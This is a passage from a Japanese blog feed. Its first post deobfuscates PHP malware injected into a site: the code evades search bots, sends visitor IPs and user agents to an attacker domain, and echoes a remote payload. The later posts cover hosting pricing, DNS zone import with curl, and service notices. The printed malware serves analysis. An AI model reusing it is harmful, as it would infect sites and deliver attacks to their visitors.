52.'");$psi1='.$fr55.'"'.$fr52.'PlD&lt;LJQ|]ZI3]Y&lt;pgZ8mgJoyeljqMKMogKY|elfvM6MogKY|elDlg5YlOVLxf6Ylf6U|NFU|][U4fp7vPFz}NWvqNWv@").'.$fr55."'".''.$fr52.'LG3j\6Mo\[Uo[5]4epQ3dZ&lt;xNFfnfpY3g[MxM|zqfpY3g[MxLJ4nQVjnfpY3g[MxNWvqNWv@'."'".').'.$fr55."'".$fr52.'PVD&lt;LJQ|]ZI3]Y&lt;pgZ8mgJoyeljqM|zqfpY3g[MxLJ43[6MkepTrPV3{OGHuPVn:M|n:'."'".').'.$fr55."'".$fr52.'PWLjSVEmfpYkgJYi]qYx\6Use57rM|UmfpYkgJYi]qYx\6Use57qOFg|][U4fp7j]5Y3dJ&lt;}gJM8epIw]Vjn\6Mo\[Uo[5]4epQ3dZ&lt;xOlLx\|LxLpHlNWvqNWv@'."'".');'.$dri25.'$retun("",$psi1.'.$fr55.'"fpY3g[MxLFU3f6Q3QVjngKQ}gGX{PljngKQ}gGX|NFU3f6Q3QVjngKQ}gGX{NFnsNVnsOlL@").'.$fr55.'"OpQyeVL:"));');</pre>
<p>というコードが。これを整形すると</p>
<pre>$fri55 = ';$retarn($fif25,$fif52,$fit52';
$fr55 = '$retrun(';
$fr52 = 'MKU}f6T4';
$fri52 = '\x3d\42\x29\51\x3b';
$fri25 = '\112\x48\112\x6c\144\x48';
$fr25 = $fri52.'")'.$fri55;
$dri25 = "\x24\144\x64\60\x20\75\x20";
eval('$fif25 = "\x40\50\x2e\53\x29\100\x69\145";
$fif52 = "\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b";
$fit52 = "\x40\145\x76\141\x6c\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22";
preg_replace($fif25,$fif52,$fit52."\112\x48\112\x6c\144\x47\106\x79\142\x6a\60\x6e\143\x48\112\x6c\132\x31\71\x79\132\x58\102\x73\131\x57\116\x6c\112\x7a\163'.$fr25.'."'.$fri25.'\126\x75\120\x53\144\x6a\143\x6d\126\x68\144\x47\126\x66\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x6e\117\x77\75'.$fr25.'."'.$fri25.'\112\x31\142\x6a\60\x6e\143\x6d\126\x30\143\x6e\126\x75\112\x7a\163'.$fr25.'."\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x67\143\x6d\126\x30\143\x6e\126\x75\113\x43\122\x79\132\x58\122\x31\143\x6d\64\x70\111\x48\163\x6b\132\x6e\126\x75\131\x32\154\x30\142\x32\64\x67\120\x53\102\x6a\143\x6d\126\x68\144\x47\126\x66\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x6f\111\x69\131\x6b\111\x69\64\x69\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x69\114\x43\111\x6b\111\x69\64\x69\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x67\120\x53\102\x6a\141\x48\111\x6f\142\x33\112\x6b\113\x43\121\x69\114\x69\112\x6d\144\x57\65\x6a\144\x47\154\x76\142\x69\153\x74\115\x79\153\x37\111\x69\153\x37'.$fri25.'\126\x79\142\x69\101\x39\111\x48\116\x30\143\x6c\71\x7a\143\x47\170\x70\144\x43\147\x6b\143\x6d\126\x30\144\x58\112\x75\113\x54\164\x68\143\x6e\112\x68\145\x56\71\x33\131\x57\170\x72\113\x43\122\x79\132\x58\122\x31\143\x6d\64\x73\111\x43\122\x6d\144\x57\65\x6a\141\x58\122\x76\142\x69\153\x37\143\x6d\126\x30\144\x58\112\x75\111\x47\112\x68\143\x32\125\x32\116\x46\71\x6b\132\x57\116\x76\132\x47\125\x6f\141\x57\61\x77\142\x47\71\x6b\132\x53\147\x69\111\x69\167\x6b\143\x6d\126\x30\144\x58\112\x75\113\x53\153\x37\146\x51\75'.$fri52.'");
$psi1='.$fr55.'"'.$fr52.'PlD&lt;LJQ|]ZI3]Y&lt;pgZ8mgJoyeljqMKMogKY|elfvM6MogKY|elDlg5YlOVLxf6Ylf6U|NFU|][U4fp7vPFz}NWvqNWv@").'.$fr55."'".''.$fr52.'LG3j\6Mo\[Uo[5]4epQ3dZ&lt;xNFfnfpY3g[MxM|zqfpY3g[MxLJ4nQVjnfpY3g[MxNWvqNWv@'."'".').'.$fr55."'".$fr52.'PVD&lt;LJQ|]ZI3]Y&lt;pgZ8mgJoyeljqM|zqfpY3g[MxLJ43[6MkepTrPV3{OGHuPVn:M|n:'."'".').'.$fr55."'".$fr52.'PWLjSVEmfpYkgJYi]qYx\6Use57rM|UmfpYkgJYi]qYx\6Use57qOFg|][U4fp7j]5Y3dJ&lt;}gJM8epIw]Vjn\6Mo\[Uo[5]4epQ3dZ&lt;xOlLx\|LxLpHlNWvqNWv@'."'".');'.$dri25.'$retun("",$psi1.'.$fr55.'"fpY3g[MxLFU3f6Q3QVjngKQ}gGX{PljngKQ}gGX|NFU3f6Q3QVjngKQ}gGX{NFnsNVnsOlL@").'.$fr55.'"OpQyeVL:"));');</pre>
<p>上記のようなコードになるので、コレを実行すると</p>
<pre>$dd0 =
$fif25 = "\x40\50\x2e\53\x29\100\x69\145";
$fif52 = "\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b";
$fit52 = "\x40\145\x76\141\x6c\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22";
preg_replace($fif25,$fif52,$fit52."\112\x48\112\x6c\144\x47\106\x79\142\x6a\60\x6e\143\x48\112\x6c\132\x31\71\x79\132\x58\102\x73\131\x57\116\x6c\112\x7a\163\x3d\42\x29\51\x3b");$retarn($fif25,$fif52,$fit52."\112\x48\112\x6c\144\x48\126\x75\120\x53\144\x6a\143\x6d\126\x68\144\x47\126\x66\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x6e\117\x77\75\x3d\42\x29\51\x3b");$retarn($fif25,$fif52,$fit52."\112\x48\112\x6c\144\x48\112\x31\142\x6a\60\x6e\143\x6d\126\x30\143\x6e\126\x75\112\x7a\163\x3d\42\x29\51\x3b");$retarn($fif25,$fif52,$fit52."\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x67\143\x6d\126\x30\143\x6e\126\x75\113\x43\122\x79\132\x58\122\x31\143\x6d\64\x70\111\x48\163\x6b\132\x6e\126\x75\131\x32\154\x30\142\x32\64\x67\120\x53\102\x6a\143\x6d\126\x68\144\x47\126\x66\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x6f\111\x69\131\x6b\111\x69\64\x69\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x69\114\x43\111\x6b\111\x69\64\x69\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x67\120\x53\102\x6a\141\x48\111\x6f\142\x33\112\x6b\113\x43\121\x69\114\x69\112\x6d\144\x57\65\x6a\144\x47\154\x76\142\x69\153\x74\115\x79\153\x37\111\x69\153\x37\112\x48\112\x6c\144\x48\126\x79\142\x69\101\x39\111\x48\116\x30\143\x6c\71\x7a\143\x47\170\x70\144\x43\147\x6b\143\x6d\126\x30\144\x58\112\x75\113\x54\164\x68\143\x6e\112\x68\145\x56\71\x33\131\x57\170\x72\113\x43\122\x79\132\x58\122\x31\143\x6d\64\x73\111\x43\122\x6d\144\x57\65\x6a\141\x58\122\x76\142\x69\153\x37\143\x6d\126\x30\144\x58\112\x75\111\x47\112\x68\143\x32\125\x32\116\x46\71\x6b\132\x57\116\x76\132\x47\125\x6f\141\x57\61\x77\142\x47\71\x6b\132\x53\147\x69\111\x69\167\x6b\143\x6d\126\x30\144\x58\112\x75\113\x53\153\x37\146\x51\75\x3d\42\x29\51\x3b");
$psi1=$retrun("MKU}f6T4PlD&lt;LJQ|]ZI3]Y&lt;pgZ8mgJoyeljqMKMogKY|elfvM6MogKY|elDlg5YlOVLxf6Ylf6U|NFU|][U4fp7vPFz}NWvqNWv@").$retrun('MKU}f6T4LG3j\6Mo\[Uo[5]4epQ3dZ&lt;xNFfnfpY3g[MxM|zqfpY3g[MxLJ4nQVjnfpY3g[MxNWvqNWv@').$retrun('MKU}f6T4PVD&lt;LJQ|]ZI3]Y&lt;pgZ8mgJoyeljqM|zqfpY3g[MxLJ43[6MkepTrPV3{OGHuPVn:M|n:').$retrun('MKU}f6T4PWLjSVEmfpYkgJYi]qYx\6Use57rM|UmfpYkgJYi]qYx\6Use57qOFg|][U4fp7j]5Y3dJ&lt;}gJM8epIw]Vjn\6Mo\[Uo[5]4epQ3dZ&lt;xOlLx\|LxLpHlNWvqNWv@');$dd0 = $retun("",$psi1.$retrun("fpY3g[MxLFU3f6Q3QVjngKQ}gGX{PljngKQ}gGX|NFU3f6Q3QVjngKQ}gGX{NFnsNVnsOlL@").$retrun("OpQyeVL:"));</pre>
<p>というものが出てくる。 $dd0 全体がまたコードになっている。</p>
<p>$psi1 の中身は</p>
<pre>$tsst52 = create_function('$return','return "web-".substr($return,0,3);');$tsst5 = create_function('$return','return md5($return);');$tsst51 = create_function('','return mt_rand(1-1,1+1);');$tsst512 = create_function('$create_function','return gethostbyname($create_function.".c"."a");');</pre>
<p>というコードが返ってくる。</p>
<p>この上の部分で無名関数を作っている。</p>
<p>これで</p>
<pre>$dd0() = "f528764d624db129b32c21fbca0cb8d6.com";</pre>
<p>ということがわかった。<br />
整形すると</p>
<pre>$tsst52 = create_function('$return','return "web-".substr($return,0,3);');
$tsst5 = create_function('$return','return md5($return);');
$tsst51 = create_function('','return mt_rand(1-1,1+1);');
$tsst512 = create_function('$create_function','return gethostbyname($create_function.".c"."a");');</pre>
<p>となる。</p>
<p>&nbsp;</p>
<pre>$evalTtDntGsohDPt = array(
 evalMNhPOlTagIOfBSF("R29vZ2xl"),
 evalMNhPOlTagIOfBSF("U2x1cnA="),
 evalMNhPOlTagIOfBSF("TVNOQm90"),
 evalMNhPOlTagIOfBSF("aWFfYXJjaGl2ZXI="),
 evalMNhPOlTagIOfBSF("WWFuZGV4"),
 evalMNhPOlTagIOfBSF("UmFtYmxlcg==")
);</pre>
<p>この配列を解析すると、</p>
<pre>array(
 'Google',
 'Slurp',
 'MSNBot',
 'ia_archiver',
 'Yandex',
 'Rambler'
);</pre>
<p>という配列が見えてくる。見ての通りこれは検索ボットのリスト。<br />
この時点で、ユーザエージェントが検索ボットの場合には攻撃コードを返さないようにするのが推定できる。</p>
<p>&nbsp;</p>
<pre>eval(evalMNhPOlTagIOfBSF("ZnVuY3Rpb24gZXZhbFdFTUJJa3FZT0lJR2NMQm4oJHMpIHtyZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzKTt9"));</pre>
<p>これを変換すると</p>
<pre>eval( function evalWEMBIkqYOIIGcLBn($s) {return @file_get_contents($s);} );</pre>
<p>となるので、 file_get_contents でどこからかファイルを取得するようだ。</p>
<pre>$evalgKgHOXrDzX = $dd0();
 //この$dd0() に難読化された攻撃者のサーバドメイン名が入る。</pre>
<pre>if( (preg_match("/" . implode("|", $evalTtDntGsohDPt) . "/i", $evalrMsivpMgcfC)) or (isset($_COOKIE[$evalamSEiYUdCgdSW]))) {
 //ユーザエージェントが検索ボットだったら何もしない。もしくは、「stats」という名前のCookieをユーザが持っている場合でも何もしない。</pre>
<pre>} else {
 //それ以外の場合はこちらが実行される。</pre>
<pre>@setcookie($evalamSEiYUdCgdSW,md5(evalMNhPOlTagIOfBSF("c3RhdHM=")),time()+10800);
 //「stats」という名前でCookieをセット。</pre>
<pre>$evalsssgqulVBTkZLAch = evalWEMBIkqYOIIGcLBn($evalTWeirVaqVW.evalMNhPOlTagIOfBSF("Og==").evalMNhPOlTagIOfBSF("Ly8=").$evalgKgHOXrDzX.evalMNhPOlTagIOfBSF("Lw==").$evalBdUbtGUDXfB.evalMNhPOlTagIOfBSF("LnBo").evalMNhPOlTagIOfBSF("cD8=").evalMNhPOlTagIOfBSF("aT0=").$_SERVER[evalMNhPOlTagIOfBSF("UkVNT1RFX0FERFI=")].evalMNhPOlTagIOfBSF("JmI9").urlencode($evalrMsivpMgcfC).evalMNhPOlTagIOfBSF("Jmg9").urlencode($_SERVER[evalMNhPOlTagIOfBSF("SFRUUF9IT1NU")]));</pre>
<p>これを解析すると http://f528764d624db129b32c21fbca0cb8d6.com/in.php?i=&amp;b=&amp;h= が返ってくる。<br />
これをブラウザからアクセスすると</p>
<pre>http://f528764d624db129b32c21fbca0cb8d6.com/in.php?i=210.224.***.***&amp;b=Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_7_2%29+AppleWebKit%2F535.7+%28KHTML%2C+like+Gecko%29+Chrome%2F16.0.912.75+Safari%2F535.7&amp;h=isidai.sakura.ne.jp
 となる。（IPアドレスは伏せました）</pre>
<p>これを file_get_contents している。</p>
<pre> if ( strstr($evalsssgqulVBTkZLAch,$evalQwblCenFzUe)){
 // strstr(,'!go!')</pre>
<p>おそらく攻撃者のサーバが !go! の含んだレスポンスを返すと攻撃が実行される。</p>
<pre> $evalsssgqulVBTkZLAch = explode($evalQwblCenFzUe,$evalsssgqulVBTkZLAch);
 $evalsssgqulVBTkZLAch = $evalsssgqulVBTkZLAch[1];</pre>
<p>攻撃者サーバが返してくるレスポンス内容の!go!から後ろ側のコードが代入される。</p>
<pre>echo $evalsssgqulVBTkZLAch;</pre>
<p>上記で代入された攻撃コードがブラウザに出力され攻撃が行われる。</p>
<pre>}
 }</pre>
<pre></pre>
<p>ということで、複雑に難読されたコードもやってることはfile_get_contentsで攻撃コードを取りに行って出力…というものでした。検索ボット避けがしてあったりもしましたが、基本はシンプルな攻撃ですね。</p>
<p>マジ疲れたOTL</p>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/security/2012/01/23/567/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Gehirn RS2 の価格帯について</title>
		<link>http://isid.ai/dev/2012/01/13/562/</link>
		<comments>http://isid.ai/dev/2012/01/13/562/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 01:17:48 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[開発]]></category>

		<guid isPermaLink="false">http://isid.ai/?p=562</guid>
		<description><![CDATA[最近、Gehirn RS2 の価格はいくらなんだ！というお問い合わせが非常に多くなって参りましたので、そろそろ発表しようかと思います。 @N_taka くんにはまだ発表は待てと言われていますので、会社的にはまだ非公表・非 [...]]]></description>
			<content:encoded><![CDATA[<p>最近、Gehirn RS2 の価格はいくらなんだ！というお問い合わせが非常に多くなって参りましたので、そろそろ発表しようかと思います。</p>
<p>@N_taka くんにはまだ発表は待てと言われていますので、会社的にはまだ非公表・非公式、という立場でおながいします！！！！</p>
<p>for Personal は、サーバメモリ4GB、 for Business は、サーバメモリ8GBでの提供となります。プランが上がることに収容人数が少なくなりますので、より快適に安定してご利用頂けると思います。</p>
<p>初期費用はすべてのプランで0円です。最低利用期間はビジネスプランが3ヶ月、個人向けプランは1ヶ月となります。また、ビジネスプランは再販・商用利用可ですが、個人向けプランでは行えません。</p>
<p>Gehirn RS2 価格表（ for Personal ）</p>
<ol>
<li>ショート 1.5GB 250円</li>
<li>トール 3GB 480円</li>
<li>グランデ 5GB 800円</li>
<li>ベンティ 10GB 1,580円</li>
<li>トレンタ 20GB 3,150円</li>
</ol>
<p>Gehirn RS2 価格表（ for Business ）</p>
<ol>
<li>ビジネスライト 50GB 7,980円</li>
<li>ビジネススタンダード 100GB 15,800円</li>
<li>ビジネスプレミアム（専有） 200GB 39,800円</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/dev/2012/01/13/562/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gehirn RS2 に「ワイルドカードエイリアス設定」を実装しました</title>
		<link>http://isid.ai/dev/2012/01/11/559/</link>
		<comments>http://isid.ai/dev/2012/01/11/559/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 11:52:01 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[開発]]></category>

		<guid isPermaLink="false">http://isid.ai/?p=559</guid>
		<description><![CDATA[Gehirn RS2 のドメイン設定で、ワイルドカードエイリアスが設定できるようになりました。 Apacheの設定が分かる人は「ServerAlias *.親ドメイン」と考えれば話は早いです。 &#160; この設定をす [...]]]></description>
			<content:encoded><![CDATA[<p>Gehirn RS2 のドメイン設定で、ワイルドカードエイリアスが設定できるようになりました。</p>
<p>Apacheの設定が分かる人は「ServerAlias *.親ドメイン」と考えれば話は早いです。</p>
<p><a href="http://pckles.com/isidai/1bc6f1.png"><img class="aligncenter" title="Gehirn RS2 Wildcard Alias Setting" src="http://pckles.com/isidai/1bc6f1.png" alt="" width="680" /></a></p>
<p>&nbsp;</p>
<p>この設定をするには、やや条件があります。ワイルドカードエイリアスの特性をちょっと理解するまで難しいかもしれないです。</p>
<p>&nbsp;</p>
<p>まず、この「ワイルドカードエイリアス」を設定すると何が出来るのかというと、今までは「abc.isid.ai」ドメインを設定したら、そのドメインでしか応答できませんでしたが、この「ワイルドカードエイリアス」を有効にすることで、「*.isid.ai」という表記になり、*の部分がどんな文字列でも応答するようになります。つまり、この設定をひとつしておくと「abc.isid.ai」も「test123.isid.ai」も「www2.isid.ai」も応答するようになります。</p>
<p>なお、「www.isid.ai」という設定とワイルドカードエイリアスがぶつかった時は、明示的に定義されているほう（この場合「www.isid.ai」）の設定が有効になります。</p>
<p>&nbsp;</p>
<p>設定ですが、親ドメインには設定できません。サブドメインに対して設定できます。最初に「isid.ai」ドメインを登録して、その後に、もう一つサブドメインとなる設定を追加します。たとえば、「wildcard.isid.ai」とします。これを追加したあとに、このドメインの設定画面を開いて、「ワイルドカードエイリアス設定」を【有効にする】を選択することで、「*.isid.ai」へのアクセスが、「wildcard.isid.ai」の設定で応答します。つまり*.isid.aiとwildcard.isid.aiは兄弟関係です。</p>
<p>この設定を使用することで、 www2.isid.ai や aaaaa.isid.ai をisid.ai に転送させたり、Webサービスを作った際に、ユーザページをサブドメイン化できます。 isidai.service.com, username.service.com などにできるわけです。</p>
<p>とりあえず使ってみるといいんじゃないんですかねｗｗｗｗ</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/dev/2012/01/11/559/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gehirn RS2 レビューのお願い</title>
		<link>http://isid.ai/dev/2012/01/04/548/</link>
		<comments>http://isid.ai/dev/2012/01/04/548/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 21:15:28 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[開発]]></category>

		<guid isPermaLink="false">http://isid.ai/?p=548</guid>
		<description><![CDATA[Gehirn RS2 ご利用中の方に、コントロールパネルやサーバの使用感についてレビューをお願いしたいと思います。 レビューしていただいた方は随時 Twitter などでお知らせ下さい。本ページにてリンク致します。 もし [...]]]></description>
			<content:encoded><![CDATA[<p>Gehirn RS2 ご利用中の方に、コントロールパネルやサーバの使用感についてレビューをお願いしたいと思います。</p>
<p>レビューしていただいた方は随時 Twitter などでお知らせ下さい。本ページにてリンク致します。</p>
<p>もし、何を書けばいいかわからないという方は下記のテーマについて回答ください。</p>
<ul>
<li>どんな使い方をしたか</li>
<li>使い始めたきっかけ</li>
<li>セットアップ・インストールしたものについて</li>
<li>サーバ性能について</li>
<li>サービス機能について</li>
<li>コントロールパネルについて</li>
<li>快適性・操作性、もしくはSSHシェルについて</li>
<li>回線速度について</li>
<li>安定性について</li>
<li>使用できるライブラリ・パッケージについて</li>
<li>そのほか気づいた点について</li>
<li>希望価格帯について</li>
<li>希望追加機能について</li>
</ul>
<h2>リンク一覧</h2>
<ol>
<li><a href="http://d.hatena.ne.jp/lmt_swallow/20111230/1325242343">[Gehirn][RS2][サーバー][ショタ] Gehirn RS2のβテストに参加してたので簡単に</a> &#8211; つばめ様</li>
<li><a href="http://dmnlk.gehirn.co.uk/?p=18">【Review】Gehirn RS2 βテストレビュー</a> &#8211; dmnlk様</li>
<li><a href="http://ww24.jp/?p=1441">Gehirn RS2 レビュー</a> &#8211; ww24様</li>
<li><a href="http://fal.ms/b/2012/01/gehirn-rs2/">Gehirn RS2を試用してみて。</a> - falms様</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/dev/2012/01/04/548/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>s4サーバ復旧のお知らせ</title>
		<link>http://isid.ai/dev/2012/01/04/545/</link>
		<comments>http://isid.ai/dev/2012/01/04/545/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 19:00:54 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[開発]]></category>

		<guid isPermaLink="false">http://isid.ai/?p=545</guid>
		<description><![CDATA[さくらのクラウドβ版終了に伴い、一時提供を見合わせていた Gehirn RS2 s4サーバ（BETA）の復元と復旧を行い、先ほど再開致しました。 この度、当該ホストをご利用の方にはご迷惑をおかけいたしました。 当該ホスト [...]]]></description>
			<content:encoded><![CDATA[<p>さくらのクラウドβ版終了に伴い、一時提供を見合わせていた Gehirn RS2 s4サーバ（BETA）の復元と復旧を行い、先ほど再開致しました。</p>
<p>この度、当該ホストをご利用の方にはご迷惑をおかけいたしました。</p>
<p>当該ホストは、再度s4として割り当てましたが、中身がBETAからバージョンアップしたRC版となっております。<br />
より安定性とリソース管理が改善したバージョンです。</p>
<p>引き続きご利用の方にはレビューをお願いしたいと思います。</p>
<p><strong>なお、データベースに接続できない場合は、コントロールパネルでデータベースのパスワードを再設定することで、DBアカウントが復旧します。</strong></p>
<p>宜しくお願いいたします。</p>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/dev/2012/01/04/545/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Gehirn DNS にローカルのBINDゾーンファイルを一括転送する</title>
		<link>http://isid.ai/tips/2011/12/15/541/</link>
		<comments>http://isid.ai/tips/2011/12/15/541/#comments</comments>
		<pubDate>Wed, 14 Dec 2011 17:16:33 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://isidai.com/?p=541</guid>
		<description><![CDATA[Gehirn DNS がBIND形式のゾーンファイルに対応したので、ローカルのゾーンファイルをGehirn DNSに一括適用するTIPS。 BINDのファイルを一括で適用させたいとき、もしくは定期的に適用したいときにはc [...]]]></description>
			<content:encoded><![CDATA[<p>Gehirn DNS がBIND形式のゾーンファイルに対応したので、ローカルのゾーンファイルをGehirn DNSに一括適用するTIPS。</p>
<p>BINDのファイルを一括で適用させたいとき、もしくは定期的に適用したいときにはcurlコマンドから送ってやると楽です。<br />
例：</p>
<pre>curl -X PUT --basic --user TOKEN:SECRET --data-binary 'data=@/tmp/isidai.com.zone' https://dns.gehirn.jp/api/domain/isidai.com/import</pre>
<p>data=@ の後ろにはファイルのパスを書いてください。　また、APIのURIは domain/{DomainID OR DomainName}/import に適時置き換えてください。<br />
こうすることで直接ゾーンファイルを送りつけて適用することができます。定期的に送ることでスレーブサーバみたいな動かし方ができそうですね。</p>
<pre>for i in `ls *.zone|sed -e 's/\.zone$//'`
 do
  curl -X PUT --basic --user TOKEN:SECRET --data-binary "data=@/var/cache/bind/$i.zone" https://dns.gehirn.jp/api/domain/$i/import
 done
</pre>
<p>これでゾーンファイルを一括転送できます。<br />
なお、これをやる前に予めGehirn DNS側でドメインのゾーンを登録（作成）しておく必要があります。ドメインゾーンを登録していないと404エラーになりますのでご注意ください。</p>
<p>Gehirn DNSにゾーンを一括で作成するには</p>
<pre>for i in `ls *.zone|sed -e 's/\.zone$//'`
 do
  curl -X POST --basic --user TOKEN:SECRET -d "domain=$i." https://dns.gehirn.jp/api/domain
 done
</pre>
<p>で作れる。</p>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/tips/2011/12/15/541/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gehirn DNS、BINDのゾーンファイル インポート／エクスポートに対応</title>
		<link>http://isid.ai/dev/2011/12/13/533/</link>
		<comments>http://isid.ai/dev/2011/12/13/533/#comments</comments>
		<pubDate>Tue, 13 Dec 2011 12:43:16 +0000</pubDate>
		<dc:creator>isidai</dc:creator>
				<category><![CDATA[開発]]></category>

		<guid isPermaLink="false">http://isidai.com/?p=533</guid>
		<description><![CDATA[Gehirn DNSですが、要望がありましたのでBINDのゾーンファイルのインポート／エクスポートに対応しました。 コンパネ対応編から見たい方はこちらからどうぞ。 APIからは GET https://dns.gehir [...]]]></description>
			<content:encoded><![CDATA[<p>Gehirn DNSですが、要望がありましたのでBINDのゾーンファイルのインポート／エクスポートに対応しました。</p>
<p>コンパネ対応編から見たい方は<a href="#ControlPanel">こちらからどうぞ</a>。</p>
<p>APIからは</p>
<pre>GET https://dns.gehirn.jp/api/domain/{DomainID OR DomainName}/export
POST https://dns.gehirn.jp/api/domain/{DomainID OR DomainName}/import/confirm
PUT https://dns.gehirn.jp/api/domain/{DomainID OR DomainName}/import</pre>
<p>でアクセスできます。</p>
<pre>GET https://dns.gehirn.jp/api/domain/testdomain.com/export</pre>
<p>すると、text/plain形式でレスポンスが返ってきます。BINDのゾーンファイルそのものです。<br />
<a href="http://pckles.com/isidai/596dcd.png"><img alt="" src="http://pckles.com/isidai/596dcd.png" title="bind zone file" class="aligncenter" width="600" /></a></p>
<pre>@                       IN SOA  ns1.gehirn.jp. isidai.isid.ai. (
                                1323779297; serial
                                300; refresh
                                900; retry
                                86400; expire
                                300; minimum
                                )
$TTL 3600
$ORIGIN testdomain.com.
@			IN	NS		ns1.securedns.jp.
@			IN	NS		ns2.securedns.jp.
@			IN	NS		ns3.securedns.jp.
@			IN	NS		ns4.securedns.jp.
@			IN	MX	1	ASPMX.L.GOOGLE.COM.
@			IN	MX	5	ALT1.ASPMX.L.GOOGLE.COM.
@			IN	MX	5	ALT2.ASPMX.L.GOOGLE.COM.
@			IN	MX	10	ASPMX2.GOOGLEMAIL.COM.
@			IN	MX	10	ASPMX3.GOOGLEMAIL.COM.
@			IN	MX	10	ASPMX4.GOOGLEMAIL.COM.
@			IN	MX	10	ASPMX5.GOOGLEMAIL.COM.
googleffffffffaa0dd2cf			IN	CNAME		google.com.
mail			IN	CNAME		ghs.google.com.
@			IN	A		59.106.181.198
www			IN	A		163.43.140.10
ext			IN	A		59.106.181.198
dl			IN	A		59.106.181.198
@			IN	TXT		"v=spf1 include:aspmx.googlemail.com ~all"</pre>
<p>インポートは</p>
<pre>POST https://dns.gehirn.jp/api/domain/testdomain.com/import/confirm</pre>
<p>で実際にインポートする前に確認できます。</p>
<p><a href="http://pckles.com/isidai/33c771.png"><img alt="" src="http://pckles.com/isidai/33c771.png" title="import confirm" class="aligncenter" width="600" /></a></p>
<p>《リクエスト》</p>
<pre>Content-Type: application/x-www-form-urlencoded</pre>
<p>で
<pre>data=%40%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20IN%20SOA%20%20ns1.gehirn.jp.%20isidai.isid.ai.%20%28%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201323779297%3B%20serial%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20300%3B%20refresh%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20900%3B%20retry%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2086400%3B%20expire%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20300%3B%20minimum%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%29%0D%0A%24TTL%203600%0D%0A%24ORIGIN%20testdomain.com.%0D%0A%40%09%09%09IN%09NS%09%09ns1.securedns.jp.%0D%0A%40%09%09%09IN%09NS%09%09ns2.securedns.jp.%0D%0A%40%09%09%09IN%09NS%09%09ns3.securedns.jp.%0D%0A%40%09%09%09IN%09NS%09%09ns4.securedns.jp.%0D%0A%40%09%09%09IN%09MX%091%09ASPMX.L.GOOGLE.COM.%0D%0A%40%09%09%09IN%09MX%095%09ALT1.ASPMX.L.GOOGLE.COM.%0D%0A%40%09%09%09IN%09MX%095%09ALT2.ASPMX.L.GOOGLE.COM.%0D%0A%40%09%09%09IN%09MX%0910%09ASPMX2.GOOGLEMAIL.COM.%0D%0A%40%09%09%09IN%09MX%0910%09ASPMX3.GOOGLEMAIL.COM.%0D%0A%40%09%09%09IN%09MX%0910%09ASPMX4.GOOGLEMAIL.COM.%0D%0A%40%09%09%09IN%09MX%0910%09ASPMX5.GOOGLEMAIL.COM.%0D%0Agoogleffffffffaa0dd2cf%09%09%09IN%09CNAME%09%09google.com.%0D%0Amail%09%09%09IN%09CNAME%09%09ghs.google.com.%0D%0A%40%09%09%09IN%09A%09%0959.106.181.198%0D%0Awww%09%09%09IN%09A%09%09163.43.140.10%0D%0Aext%09%09%09IN%09A%09%0959.106.181.198%0D%0Adl%09%09%09IN%09A%09%0959.106.181.198%0D%0A%40%09%09%09IN%09TXT%09%09%22v%3Dspf1%20include%3Aaspmx.googlemail.com%20~all%22</pre>
<p>のような感じです。</p>
<p>そうするとAnalyzedとして値が返ってきます。</p>
<pre>{
    "Analyzed": [{
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "NameServer": "ns1.securedns.jp.",
